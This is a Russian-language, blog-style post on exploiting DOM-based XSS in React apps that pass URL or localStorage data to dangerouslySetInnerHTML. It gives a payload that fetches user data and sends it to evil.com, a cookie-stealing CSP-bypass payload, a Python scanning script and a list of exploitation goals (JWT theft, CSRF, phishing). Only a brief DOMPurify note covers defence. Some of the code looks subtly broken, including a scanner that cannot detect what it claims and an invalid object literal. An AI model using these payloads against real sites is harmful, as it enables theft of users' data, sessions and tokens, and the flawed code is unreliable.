Critical DOM XSS в React приложениях через dangerouslySetInnerHTML
Сегодня разбираем жирный эксплойт, который до сих пор валит кучу React-приложений. Называется он DOM-based XSS через dangerouslySetInnerHTML с байпасом современных защит.
Суть уязвимости
React разработчики часто используют `dangerouslySetInnerHTML` для вставки HTML-контента, думая что React их защищает. Но вот засада — если данные приходят из URL параметров или localStorage, то защиты React тут бессильны.
Поиск цели
Ищем компоненты с таким кодом:
function VulnerableComponent() {
const params = new URLSearchParams(window.location.search);
const content = params.get('content') || localStorage.getItem('userContent');
return (
<div dangerouslySetInnerHTML={{__html: content}} />
);
}Эксплойт в действии
Классический пейлоад не прокатит из-за CSP. Но вот что работает:
?content=<img src=x onerror="fetch('/api/user').then(r=>r.json()).then(d=>fetch('https://evil.com/steal?data='+btoa(JSON.stringify(d))))" />Продвинутый байпас
Для обхода строгих CSP используем DOM-манипуляции:
?content=<svg><foreignObject><iframe srcdoc="<script>parent.postMessage({type:'steal',document.cookie},'*')</script>"></iframe></foreignObject></svg>Автоматизация поиска
Скрипт для поиска уязвимых эндпоинтов:
import requests
import re
from urllib.parse import urljoin
def scan_react_xss(target_url):
payloads = [
'?content=<img src=x onerror=alert(1)>',
'?data=<svg onload=alert(1)>',
'#content=<script>alert(1)</script>'
]
for payload in payloads:
response = requests.get(target_url + payload)
if 'dangerouslySetInnerHTML' in response.text:
print(f"[!] Potential XSS: {target_url + payload}")
Эксплуатация
После нахождения уязвимости:
1. Кража токенов: Перехватываем JWT из localStorage
2. CSRF атаки: Выполняем действия от имени жертвы
3. Фишинг: Подменяем форму входа
Защита
Для разработчиков — никогда не пихайте пользовательские данные в `dangerouslySetInnerHTML` без sanitization:
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
Этот эксплойт до сих пор косит тысячи сайтов, потому что девелоперы думают — “у нас же React, мы защищены”. Не-а, братан, защищены только от классических XSS, а тут другая история.
